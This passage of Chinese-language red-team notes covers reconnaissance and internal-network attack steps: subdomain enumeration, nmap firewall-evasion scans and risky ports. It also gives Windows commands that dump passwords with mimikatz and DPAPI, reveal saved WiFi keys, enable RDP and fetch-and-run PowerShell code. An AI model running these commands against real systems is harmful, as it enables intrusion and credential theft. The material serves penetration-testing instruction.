ic.net/ whois.apnic.net
remarks:
remarks:        ARIN (Northern America)
remarks:        http://www.arin.net/ whois.arin.net
remarks:
remarks:        LACNIC (Latin America and the Carribean)
remarks:        http://www.lacnic.net/ whois.lacnic.net
remarks:
remarks:        ------------------------------------------------------
country:        EU # Country is really world wide
admin-c:        IANA1-RIPE
tech-c:         IANA1-RIPE
status:         ALLOCATED UNSPECIFIED

created:        2021-12-21T16:03:56Z
last-modified:  2021-12-21T16:03:56Z
source:         RIPE
role:           Internet Assigned Numbers Authority
address:        see http://www.iana.org.
admin-c:        IANA1-RIPE
tech-c:         IANA1-RIPE
nic-hdl:        IANA1-RIPE
remarks:        For more information on IANA services
remarks:        go to IANA web site at http://www.iana.org.
mnt-by:         RIPE-NCC-MNT
created:        1970-01-01T00:00:00Z
last-modified:  2001-09-22T09:31:27Z
source:         RIPE # Filtered
% This query was served by the RIPE Database Query Service version 1.102.2 (HEREFORD)



Gathered Inic-whois information for dansemal.cn
---------------------------------
Domain Name: dansemal.cn
ROID: 20210322s10001s35063278-cn
Domain Status: clientTransferProhibited
Registrant: 该域名已采取WHOIS隐私保护服务
Sponsoring Registrar: 广州云讯信息科技有限公司
Name Server: brook.dnspod.net
Name Server: record.dnspod.net
Registration Time: 2021-03-22 15:32:05
Expiration Time: 2023-03-22 15:32:05
DNSSEC: signedDelegation

Gathered Netcraft information for dansemal.cn
---------------------------------

Retrieving Netcraft.com information for dansemal.cn
Netcraft.com Information gathered

Gathered Subdomain information for dansemal.cn
---------------------------------
Searching Google.com:80...
HostName:www.dansemal.cn
HostIP:183.240.60.174
HostName:cloud.dansemal.cn
HostIP:112.3.31.146
Searching Altavista.com:80...
Found 2 possible subdomain(s) for host dansemal.cn, Searched 0 pages containing 0 results

All scans completed, exiting

邮箱搜集

在信息搜集的过程中,邮箱信息可以解决我们很大的问题,我们可以fuzz邮箱的密码进行爆破后台.

theHarvester

┌──(root💀kali)-[~]
└─# theHarvester -d freebuf.com -b baidu                                                               2 ⨯

*******************************************************************
*  _   _                                            _             *
* | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  *
* | __|  _ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *
*  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *
*                                                                 *
* theHarvester 3.2.3                                              *
* Coded by Christian Martorella                                   *
* Edge-Security Research                                          *
* cmartorella@edge-security.com                                   *
*                                                                 *
*******************************************************************


[*] Target: freebuf.com

[*] Searching Baidu.

[*] No IPs found.

[*] No emails found.

[*] Hosts found: 8
---------------------
bar.freebuf.com:60.205.171.29
company.freebuf.com:60.205.171.29
job.freebuf.com:60.205.171.29
live.freebuf.com:60.205.171.29
my.freebuf.com:60.205.171.29
search.freebuf.com:60.205.171.29
shop.freebuf.com:60.205.171.29
www.freebuf.com:60.205.171.29

┌──(root💀kali)-[~]
└─# theHarvester -d dansemal.github.io -b baidu

*******************************************************************
*  _   _                                            _             *
* | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  *
* | __|  _ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *
*  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *
*                                                                 *
* theHarvester 3.2.3                                              *
* Coded by Christian Martorella                                   *
* Edge-Security Research                                          *
* cmartorella@edge-security.com                                   *
*                                                                 *
*******************************************************************


[*] Target: dansemal.github.io

[*] Searching Baidu.

[*] No IPs found.

[*] No emails found.

[*] No hosts found.

手机号

手机号在信息搜集的时候也略显重要,因为我们可以通过手机号去查到关于管理人员的更多信息,甚至可以通过反查微信钓鱼的方式来进行,或者其他的方式.

主动信息搜集

指通过一定的方式(系统自带命令或者其他工具)，直接与目标系统或者主机进行交互通信，以达到收集信息的目的。
主动信息收集的必要条件
使用受控的第3三方电脑进行探测
使用代理或者已经被控制的主机
做好被封杀的准备
使用噪声迷惑目标，掩藏真实的的探测流量扫描
发送不同的探测，根据返回结果判断目标状态
主动信息收集的发现过程
识别存活的目标系统或者主机(潜在的攻击目标)。
根据osi的分层，主要在2 (数据链路层) /3 (网络层) /4 (传输层)层进行主机发现。
输出发现结果。

收集所需信息

开放端口
开放服务
服务版本
用户名
域名
网站系统
历史信息
身份信息

代理隐蔽

在主动信息过程中，可能会存在-一定被IPS/IDS检测到，我们可以使用proxychains这款工具来
达到代理的效果
或在Windows中使用Proxifier。

主机发现

在二层网络中,使用arping发现主机

netdiscover

1 2	┌──(root💀B)-[~] └─# netdiscover -i eth0 -r 192.168.0.1/24

netdiscover -l 文件路径 (扫描文件ip)

netdiscover -p 被动扫描

fping

Fping程序类似于ping (ping是通过ICMP. (网络控制信息协议InternetControl Message
Protocol)协议回复请求以检测主机是否存在)。Fping 与ping不同的地方在于，fping可以在
命令行中指定要ping的主机数量范围，也可以指定含有要ping的主机列表文件。

hping3

Hping能够发送几乎任意的TCP/IP包;
功能强大但是每次只能扫描一个目标。
Hping3发送ICMP包:
hping3 192.168.181.130 --icmp -C 2

子域名搜集

https://phpinfo.me/domain/ ps.查看源代码其实是个自带字典本地子域名工具
altdns
oneforall
layer子域名挖掘机
subDomainBrute

安装常见问题默认 python pip 版本不对应
更换默认python版本为3 安装pip3
wydomain

sublist3r

af install sublist3r #kali下

┌──(root💀kali)-[~]
└─# sublist3r -d qq.com                                                                                                            130 ⨯

                 ____        _     _ _     _   _____
                / ___| _   _| |__ | (_)___| |_|___ / _ __
                \___ \| | | | '_ \| | / __| __| |_ \| '__|
                 ___) | |_| | |_) | | \__ \ |_ ___) | |
                |____/ \__,_|_.__/|_|_|___/\__|____/|_|

                # Coded By Ahmed Aboul-Ela - @aboul3la

[-] Enumerating subdomains now for qq.com
[-] Searching now in Baidu..
[-] Searching now in Yahoo..
[-] Searching now in Google..
[-] Searching now in Bing..
[-] Searching now in Ask..
[-] Searching now in Netcraft..
[-] Searching now in DNSdumpster..
[-] Searching now in Virustotal..
[-] Searching now in ThreatCrowd..
[-] Searching now in SSL Certificates..
[-] Searching now in PassiveDNS..
[-] Total Unique Subdomains Found: 2690
login.imqq.com
localhost.ptlogin2.imqq.com
ssl.ptlogin2.imqq.com
ssl.ui.ptlogin2.imqq.com
ssl.xui.ptlogin2.imqq.com
www.qq.com
0.qq.com
007.qq.c                                                            
021.qq.com
1.qq.com
10.qq.com
100.qq.com
file.100.qq.com
res.100.qq.com
1000.qq.com
101.qq.com
pick.101.qq.com
game.108.qq.com
110.qq.com
1108.qq.com
111.qq.com
1111.qq.com
124bjg0.qq.com
12530.qq.com
176.qq.com
17roco.qq.com
m.17roco.qq.com
m1.17roco.qq.com
mres.17roco.qq.com


┌──(root💀B)-[~]
└─# sublist3r -d dansemal.cn

                 ____        _     _ _     _   _____
                / ___| _   _| |__ | (_)___| |_|___ / _ __
                \___ \| | | | '_ \| | / __| __| |_ \| '__|
                 ___) | |_| | |_) | | \__ \ |_ ___) | |
                |____/ \__,_|_.__/|_|_|___/\__|____/|_|

                # Coded By Ahmed Aboul-Ela - @aboul3la

[-] Enumerating subdomains now for dansemal.cn
[-] Searching now in Baidu..
[-] Searching now in Yahoo..
[-] Searching now in Google..
[-] Searching now in Bing..
[-] Searching now in Ask..
[-] Searching now in Netcraft..
[-] Searching now in DNSdumpster..
[-] Searching now in Virustotal..
[-] Searching now in ThreatCrowd..
[-] Searching now in SSL Certificates..
[-] Searching now in PassiveDNS..
[!] Error: Virustotal probably now is blocking our requests
[-] Total Unique Subdomains Found: 12
www.dansemal.cn
blog.dansemal.cn
cdn.dansemal.cn
cloud.dansemal.cn
joe.dansemal.cn
mail.dansemal.cn
pl.dansemal.cn
qh.dansemal.cn
ur.dansemal.cn
vercel.dansemal.cn
vul.dansemal.cn
waline.dansemal.cn

网站架构

nikto(kali自带)

Options:
    -ask+               是否询问提交更新
                            yes   每次 (default)
                            no    不询问,不发送
                            auto  不询问,自动发送
    -Cgidirs+           扫描CGI目录: "none", "all", 或者 "/cgi/ /cgi-a/"
    -config+            使用此配置文件
    -Display+           打开/关闭显示输出:
                            1     显示重定向
                            2     显示 cookies received
                            3     显示所有 200/OK响应
                            4     显示需要身份验证的URL
                            D     调试输出
                            E     显示所有HTTP错误
                            P     打印进展到STDOUT
                            S     Scrub输出IPS和主机名
                            V     详细输出
    -dbcheck           检查数据库和其他密钥文件的语法错误
    -evasion+          编码技术:
                            1     随机URI编码（非UTF8）
                            2     目录自我引用 (/./)
                            3     Premature URL ending
                            4     预置长随机字符串
                            5     Fake parameter
                            6     TAB as request spacer
                            7     Change the case of the URL
                            8     Use Windows directory separator (\)
                            A     Use a carriage return (0x0d) as a request spacer
                            B     Use binary value 0x0b as a request spacer
     -Format+           Save file (-o) format:
                            csv   Comma-separated-value
                            json  JSON Format
                            htm   HTML Format
                            nbe   Nessus NBE format
                            sql   Generic SQL (see docs for schema)
                            txt   Plain text
                            xml   XML Format
                            (if not specified the format will be taken from the file extension passed to -output)
    -Help              Extended help information
    -host+             Target host/URL
    -404code           Ignore these HTTP codes as negative responses (always). Format is "302,301".
    -404string         Ignore this string in response body content as negative response (always). Can be a regular expression.
    -id+               Host authentication to use, format is id:pass or id:pass:realm
    -key+              Client certificate key file
    -list-plugins      List all available plugins, perform no testing
    -maxtime+          Maximum testing time per host (e.g., 1h, 60m, 3600s)
    -mutate+           Guess additional file names:
                            1     Test all files with all root directories
                            2     Guess for password file names
                            3     Enumerate user names via Apache (/~user type requests)
                            4     Enumerate user names via cgiwrap (/cgi-bin/cgiwrap/~user type requests)
                            5     Attempt to brute force sub-domain names, assume that the host name is the parent domain
                            6     Attempt to guess directory names from the supplied dictionary file
    -mutate-options    Provide information for mutates
    -nointeractive     Disables interactive features
    -nolookup          Disables DNS lookups
    -nossl             Disables the use of SSL
    -no404             Disables nikto attempting to guess a 404 page
    -Option            Over-ride an option in nikto.conf, can be issued multiple times
    -output+           Write output to this file ('.' for auto-name)
    -Pause+            Pause between tests (seconds, integer or float)
    -Plugins+          List of plugins to run (default: ALL)
    -port+             Port to use (default 80)
    -RSAcert+          Client certificate file
    -root+             Prepend root value to all requests, format is /directory
    -Save              Save positive responses to this directory ('.' for auto-name)
    -ssl               Force ssl mode on port
    -Tuning+           Scan tuning:
                            1     Interesting File / Seen in logs
                            2     Misconfiguration / Default File
                            3     Information Disclosure
                            4     Injection (XSS/Script/HTML)
                            5     Remote File Retrieval - Inside Web Root
                            6     Denial of Service
                            7     Remote File Retrieval - Server Wide
                            8     Command Execution / Remote Shell
                            9     SQL Injection
                            0     File Upload
                            a     Authentication Bypass
                            b     Software Identification
                            c     Remote Source Inclusion
                            d     WebService
                            e     Administrative Console
                            x     Reverse Tuning Options (i.e., include all except specified)
    -timeout+          Timeout for requests (default 10 seconds)
    -Userdbs           Load only user databases, not the standard databases
                            all   Disable standard dbs and load only user dbs
                            tests Disable only db_tests and load udb_tests
    -useragent         Over-rides the default useragent
    -until             Run until the specified time or duration
    -update            Update databases and plugins from CIRT.net
    -url+              Target host/URL (alias of -host)
    -useproxy          Use the proxy defined in nikto.conf, or argument http://server:port
    -Version           Print plugin and database versions
    -vhost+            Virtual host (for Host header)
             + requires a value

wappalyzer(浏览器插件)

常见网站架构的类型

1.php+mysql+win/linux

1	1.2003 iis6.0/2008 iis7.0/2012 iis8.0

2. apache

3.nginx

2.aspx+access/mssql+win 3. 3.jsp+oracle/mysql/+win/linux

1.tomcat

4.php+postgresql+linux

目录信息

dirsearch

Usage: dirsearch.py [-u|--url] target [-e|--extensions] extensions [options]

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit

  Mandatory:
    -u URL, --url=URL   Target URL
    -l FILE, --url-list=FILE
                        Target URL list file
    --stdin             Target URL list from STDIN
    --cidr=CIDR         Target CIDR
    --raw=FILE          Load raw HTTP request from file (use `--scheme` flag
                        to set the scheme)
    -e EXTENSIONS, --extensions=EXTENSIONS
                        Extension list separated by commas (Example: php,asp)
    -X EXTENSIONS, --exclude-extensions=EXTENSIONS
                        Exclude extension list separated by commas (Example:
                        asp,jsp)
    -f, --force-extensions
                        Add extensions to every wordlist entry. By default
                        dirsearch only replaces the %EXT% keyword with
                        extensions

  Dictionary Settings:
    -w WORDLIST, --wordlists=WORDLIST
                        Customize wordlists (separated by commas)
    --prefixes=PREFIXES
                        Add custom prefixes to all wordlist entries (separated
                        by commas)
    --suffixes=SUFFIXES
                        Add custom suffixes to all wordlist entries, ignore
                        directories (separated by commas)
    --only-selected     Remove paths have different extensions from selected
                        ones via `-e` (keep entries don't have extensions)
    --remove-extensions
                        Remove extensions in all paths (Example: admin.php ->
                        admin)
    -U, --uppercase     Uppercase wordlist
    -L, --lowercase     Lowercase wordlist
    -C, --capital       Capital wordlist

  General Settings:
    -t THREADS, --threads=THREADS
                        Number of threads
    -r, --recursive     Brute-force recursively
    --deep-recursive    Perform recursive scan on every directory depth
                        (Example: api/users -> api/)
    --force-recursive   Do recursive brute-force for every found path, not
                        only paths end with slash
    -R DEPTH, --recursion-depth=DEPTH
                        Maximum recursion depth
    --recursion-status=CODES
                        Valid status codes to perform recursive scan, support
                        ranges (separated by commas)
    --subdirs=SUBDIRS   Scan sub-directories of the given URL[s] (separated by
                        commas)
    --exclude-subdirs=SUBDIRS
                        Exclude the following subdirectories during recursive
                        scan (separated by commas)
    -i CODES, --include-status=CODES
                        Include status codes, separated by commas, support
                        ranges (Example: 200,300-399)
    -x CODES, --exclude-status=CODES
                        Exclude status codes, separated by commas, support
                        ranges (Example: 301,500-599)
    --exclude-sizes=SIZES
                        Exclude responses by sizes, separated by commas
                        (Example: 123B,4KB)
    --exclude-texts=TEXTS
                        Exclude responses by texts, separated by commas
                        (Example: 'Not found', 'Error')
    --exclude-regexps=REGEXPS
                        Exclude responses by regexps, separated by commas
                        (Example: 'Not foun[a-z]{1}', '^Error$')
    --exclude-redirects=REGEXPS
                        Exclude responses by redirect regexps or texts,
                        separated by commas (Example: 'https://okta.com/*')
    --exclude-response=PATH
                        Exclude responses by response of this page (path as
                        input)
    --skip-on-status=CODES
                        Skip target whenever hit one of these status codes,
                        separated by commas, support ranges
    --minimal=LENGTH    Minimal response length
    --maximal=LENGTH    Maximal response length
    --max-time=SECONDS  Maximal runtime for the scan
    -q, --quiet-mode    Quiet mode
    --full-url          Full URLs in the output (enabled automatically in
                        quiet mode)
    --no-color          No colored output

  Request Settings:
    -m METHOD, --http-method=METHOD
                        HTTP method (default: GET)
    -d DATA, --data=DATA
                        HTTP request data
    -H HEADERS, --header=HEADERS
                        HTTP request header, support multiple flags (Example:
                        -H 'Referer: example.com')
    --header-list=FILE  File contains HTTP request headers
    -F, --follow-redirects
                        Follow HTTP redirects
    --random-agent      Choose a random User-Agent for each request
    --auth-type=TYPE    Authentication type (basic, digest, bearer, ntlm)
    --auth=CREDENTIAL   Authentication credential (user:password or bearer
                        token)
    --user-agent=USERAGENT
    --cookie=COOKIE

  Connection Settings:
    --timeout=TIMEOUT   Connection timeout
    -s DELAY, --delay=DELAY
                        Delay between requests
    --proxy=PROXY       Proxy URL, support HTTP and SOCKS proxies (Example:
                        localhost:8080, socks5://localhost:8088)
    --proxy-list=FILE   File contains proxy servers
    --replay-proxy=PROXY
                        Proxy to replay with found paths
    --scheme=SCHEME     Default scheme (for raw request or if there is no
                        scheme in the URL)
    --max-rate=RATE     Max requests per second
    --retries=RETRIES   Number of retries for failed requests
    -b, --request-by-hostname
                        By default dirsearch requests by IP for speed. This
                        will force dirsearch to request by hostname
    --ip=IP             Server IP address
    --exit-on-error     Exit whenever an error occurs

  Reports:
    -o FILE, --output=FILE
                        Output file
    --format=FORMAT     Report format (Available: simple, plain, json, xml,
                        md, csv, html)

 You can change the dirsearch default configurations (default extensions,
timeout, wordlist location, ...) by editing the "/etc/dirsearch/default.conf"
file. More information at https://github.com/maurosoria/dirsearch.

御剑后台扫描工具
dirbuster
pk
dirmap

端口扫描

nmap

nmap -all ip
-sT 使用tcp进行扫描
-sS 半开放扫描
-sU udp端口扫描
-sF 也是tcp的扫描一种,发送一个fin标志的数据包
-sV 版本检测
-O 可以模糊测试对方系统版本PING大于67则windows
-A 全面检测
-sV 探测目标系统服务版本
-T4 设置线程

nmap绕过防火墙扫描

nmap --script=firewalk --traceroute 目标
nmap -p80 --script http-waf-detect --script-args="http-waf-detect.detectBodyChanges"
碎片扫描namp -f  nmap -mtu 8
诱饵扫描nmap -D RND:10 
空闲扫描nmap -P0 -sl zombie
随机数据长度扫描 nmap --data-length 25
欺骗性扫描nmap --sT -PN --spoof-mac aa:bb:cc:dd:ee:ff
namp --badsum 主机
nmap -g80 -S url 主机
nmap -p80 --script http-methods --script-args http.useragent="Mozilla 5"

ipc共享

IPC$ (Internet Process Connection) 是共享命名管道”的资源，它是为了让进程间通信而开放
的命名管道，通过提供可信任的用户名和口令，连接双方可以建立安全的通道并以此通道进行
加密数据的交换，从而实现对远程计算机的访问。IPC $是NT2000的一项新功能，它有一个特点，即在同- -时间内，两个IP之间只允许建立一个连接。 NT2000在提供了ipc$ 功能的同时,
在初次安装系统时还打开了默认共享，即所有的逻辑共享(C $、D$ 、 …和系统目录
(C:\windows)共享。所有的这些初衷都是为了方便管理员的管理。但好的初衷并不一-定要
收效，一些别有用心者会利用IPC $,访问共享资源，导出用户列表，并使用- -些字典工为了配合IPC共享工作，Windows操作系统(不包括Windows 98系列)在安装完成后，目动设置共享的目录为: C盘、D盘、E盘、ADMIN目录(C:Windows)等，即为ADMIN$ 、C $、D$ 、E$等，但要注意，这些共享是隐藏的，只有管理员能够对他们进行远程操作。

1	nmap --script=smb-enum-shares.nse -sT

┌──(root💀kali)-[~]
└─# nmap -v -A -p1-65535 127.0.0.1
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-10 13:58 CST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 13:58
Completed NSE at 13:58, 0.00s elapsed
Initiating NSE at 13:58
Completed NSE at 13:58, 0.00s elapsed
Initiating NSE at 13:58
Completed NSE at 13:58, 0.00s elapsed
Initiating SYN Stealth Scan at 13:58
Scanning localhost (127.0.0.1) [65535 ports]
Discovered open port 22/tcp on 127.0.0.1
Completed SYN Stealth Scan at 13:58, 0.37s elapsed (65535 total ports)
Initiating Service scan at 13:58
Scanning 1 service on localhost (127.0.0.1)
Completed Service scan at 13:58, 0.01s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against localhost (127.0.0.1)
Retrying OS detection (try #2) against localhost (127.0.0.1)
Retrying OS detection (try #3) against localhost (127.0.0.1)
Retrying OS detection (try #4) against localhost (127.0.0.1)
Retrying OS detection (try #5) against localhost (127.0.0.1)
NSE: Script scanning 127.0.0.1.
Initiating NSE at 13:58
Completed NSE at 13:58, 0.08s elapsed
Initiating NSE at 13:58
Completed NSE at 13:58, 0.00s elapsed
Initiating NSE at 13:58
Completed NSE at 13:58, 0.00s elapsed
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000018s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 95:24:8a:70:02:c1:7c:b9:63:1d:57:bd:c4:ba:59:84 (RSA)
|   256 ac:24:26:ce:c9:34:47:e7:62:38:13:d1:03:6d:c7:54 (ECDSA)
|_  256 79:e3:be:ae:1e:ee:87:ed:bd:3d:b3:23:e6:de:92:08 (ED25519)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=4/10%OT=22%CT=1%CU=43844%PV=N%DS=0%DC=L%G=Y%TM=60713E8
OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=MFFD7ST11NWA%O2=MFFD7ST11NWA%O3=MFFD7NNT11NWA%O4=MFFD7ST11NWA%O5=MFF
OS:D7ST11NWA%O6=MFFD7ST11)WIN(W1=FFCB%W2=FFCB%W3=FFCB%W4=FFCB%W5=FFCB%W6=FF
OS:CB)ECN(R=Y%DF=Y%T=40%W=FFD7%O=MFFD7NNSNWA%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=40%CD=S)

Uptime guess: 22.103 days (since Fri Mar 19 11:30:10 2021)
Network Distance: 0 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 13:58
Completed NSE at 13:58, 0.00s elapsed
Initiating NSE at 13:58
Completed NSE at 13:58, 0.00s elapsed
Initiating NSE at 13:58
Completed NSE at 13:58, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.35 seconds
           Raw packets sent: 65645 (2.892MB) | Rcvd: 131283 (5.520MB)

御剑端口扫描

公开漏洞库利用

白阁文库

SCAPY 网络信息

使用SCAPY创立发送数据包
pkt=IP(src=“192.168.0.7” ,dst=“39.156.69.79”)/TCP()
●res=sr1(pkt) /接收res. summary() //查看
●sr() /接受全部.
●send() //只发送.
发送两层数据包
●srp()
●srp1()
●sendp()

发送tcp数据包

ip=IP()
tcp=TCP()
ip.dst="192.168.0.6"
ip.dport=445
tcp.flags='A'
sr1(ip)
sr1(IP(dst="www.baidu.com")/TCP(dport=[21,80,3389],flags='A'))

被动信息搜集

谷歌语法

谷歌语法数据库

旁站搜集

https://www.webscan.cc/

dig

dig可以查询到域名dns记录,对此可以查询到对应ip 参数+trance可以进行跟踪

┌──(root💀B)-[~]
└─# dig dansemal.cn

; <<>> DiG 9.17.21-1-Debian <<>> dansemal.cn
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 49678
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1024
;; QUESTION SECTION:
;dansemal.cn.                   IN      A

;; AUTHORITY SECTION:
dansemal.cn.            3600    IN      SOA     ns3.dnsv4.com. enterprise2dnsadmin.dnspod.com. 1639057957 3600 180 1209600 180

;; Query time: 76 msec
;; SERVER: 192.168.0.2#53(192.168.0.2) (UDP)
;; WHEN: Mon Jan 10 18:47:49 CST 2022
;; MSG SIZE  rcvd: 116

指纹信息

wappalyzer(浏览器插件)
云悉
御剑web指纹扫描工具
在线cms识别

信息泄露搜集

SVN信息泄露

文件泄露

git泄露

robots.txt泄露

┌──(root💀B)-[~]
└─# curl www.dansemal.cn/robots.txt
User-agent: *
Allow: /

Sitemap: https://www.dansemal.cn/sitemap.xml

危险端口搜集

web类(web漏洞/敏感目录)

第三方通用组件漏洞struts thinkphp jboss ganglia zabbix
80 web
80-89 web
8000-9090 web

数据库类(扫描弱口令)

1433 MSSQL
1521 Oracle
3306 MySQL
5432 PostgreSQL

特殊服务类(未授权/命令执行类/漏洞)

443 SSL心脏滴血
873 Rsync未授权
5984 CouchDB http://xxx:5984/_utils/
6379 redis未授权
7001,7002 WebLogic默认弱口令，反序列
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问

常用端口类(扫描弱口令/端口爆破)

21 ftp
22 SSH
23 Telnet
2601,2604 zebra路由，默认密码zebra
3389 远程桌面

端口合计详情

21 ftp
22 SSH
23 Telnet
80 web
80-89 web
161 SNMP
389 LDAP
443 SSL心脏滴血以及一些web漏洞测试
445 SMB

512,513,514 Rexec
873 Rsync未授权
1025,111 NFS
1433 MSSQL
1521 Oracle:(iSqlPlus Port:5560,7778)
2082/2083 cpanel主机管理系统登陆（国外用较多）
2222 DA虚拟主机管理系统登陆（国外用较多）
2601,2604 zebra路由，默认密码zebra
3128 squid代理默认端口，如果没设置口令很可能就直接漫游内网了
3306 MySQL
3312/3311 kangle主机管理系统登陆
3389 远程桌面
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网
5432 PostgreSQL
5900 vnc
5984 CouchDB http://xxx:5984/_utils/
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网
6379 redis未授权
7001,7002 WebLogic默认弱口令，反序列
7778 Kloxo主机控制面板登录
8000-9090 都是一些常见的web端口，有些运维喜欢把管理后台开在这些非80的端口上
8080 tomcat/WDCP主机管理系统，默认弱口令
8080,8089,9090 JBOSS
8083 Vestacp主机管理系统（国外用较多）
8649 ganglia
8888 amh/LuManager 主机管理系统默认端口
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
10000 Virtualmin/Webmin 服务器虚拟主机管理系统
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
28017 mongodb统计页面
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问

内网信息收集

内网信息收集的概念

内网是分布在一个区域性的网络，也称之为局域网，针对于内网不公开于互联网之上，内网分
为好几种类型，有服务器内网、办公区域内网等等，内网可以方便的传输，以及可以保证其数
据的安全，其资产不亚于暴露外网的资产多，内网信息收集也是非常重要的。

作为红队来讲，突破内网的前提下就是针对于内网的信息收集，内网的资产分布式很广-，不仅
是WEB，甚至开放了各种危险端口，在内网中机器不保证其开防火墙，所以我们可以任由横
穿,假设内网机器大量没有打补J的ms17010漏洞，我们就可以横穿其内网了。

再一方面，即使内网很安全，当我们收集到密码之后去撞库，测试一下密码是否被重复使用,
也可以实现攻破其他主机。

内网信息搜集隐蔽

在收集内网信息的前提下，我们需要针对管理员的登录时间进行查看

net user administrator //查看最后登录时间
wevtutil epl security C:\System_log.evtx //保存所有日志信息  

ipconfig /all   查询本机IP信息是否多网卡
net user    查看本机有几个账户
query user    查看在线的用户
tasklist /v    显示所有运行的进程
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"  查询系统版本
systeminfo    查看补丁信息
net share    查看共享信息
netsh firewall show config查看防火墙信息
net statistics workstation查看开机时间
wmic product get name,version查看安装软件
net session查看会话
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f开启远程RDP
net config workstation    查看是否存在域环境
wlan show profiles   查看连接过的WiFi


netsh
wlan
show profiles
show profiles name="" key=clear 显示密码

rdp连接记录
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s


内网主机提权
systeminfo

复制信息到 https://i.hacking8.com/tiquan

内网主机探测及扫描

内网穿透-流量代理

● 流量代理出网是将目标机器的内网代理出本机，之后再进行扫描，- -般代理出网的代理大部分都是
socks5、socks4, 流量代理的工具有很多，个人感觉最好的还是Frp比较稳定。
● 内网流量转发


内网区域大小探测
●我们可以通过arp /a来观察网段的总体情况
●私有IP地址有10段、172段、 192段, 大小从大到小排序的
●A类地址
10.0.0.0--10.255.255.255
●B类地址
172.16.0.0--172.31.255.255
●C类地址
192.168.0.0--192.168.255.255

内网主机存活检测
使用ping 或nmap
当流量代理出来 可以使用proxychains 去调用nmap进行对目标内网进行扫描

NTscan
进行内网爆破

内网弱口令
备忘脆弱性资产
内网流量嗅探

内网主机密码搜集

mimikatz抓取本机密码

mimikatz是一款简单且好用的windows密码抓取神器,该软件可帮助用户-键抓取window密
码，操作简单、使用方便。
在域渗透过程中另外一名老师会为大家讲解mimikatz的一-些高级使用，这里只做简单介绍

mimikatz "privilege:debug" "sekurlsa:logonpasswords" exit读取本机密码

powershell "IEX (New-Object Net.WebClient).DownloadString('  ');Invoke-Mimikatz -DumpCreds" //powershell方式

powershell -exec bypass "import-module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz

mimikatz获取rdp连接记录密码

dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
privilege::debug
dpapi:cred /in:C:\Users\A\AppData\Local\Microsoft\Credentials\CA881006071CB1238C13640450A5B676
寻找GuiMasterKey
sekurlsa::dpapi
dpapi:cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\8781378F7D47006A4FC98D2F8A266F58
/masterkey:1df6b7a86b7aa3238c6899b1b4fd7b4ccba852db9b2ea611bbb7943f34b788f55d27835591ccde1e6c643d9aca724fd495282f5fc92ee80746262d8759b9d23d

内网横向

IPC空连接概述

IPC(Internet Process Connection)是共享"命名管道"的资源。

它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令，连接建
立安全的通道并以此通道进行加密数据的交换，从而实现对远程计算机的访问。

IPC是NT/2000的一项新功能，它有一个特点，即在同一时间内，两个IP之间只允许建立一个
连接。NT/2000在提供了ipc功能的同时，在初次安装系统时还打开了默认共享，即所有的逻
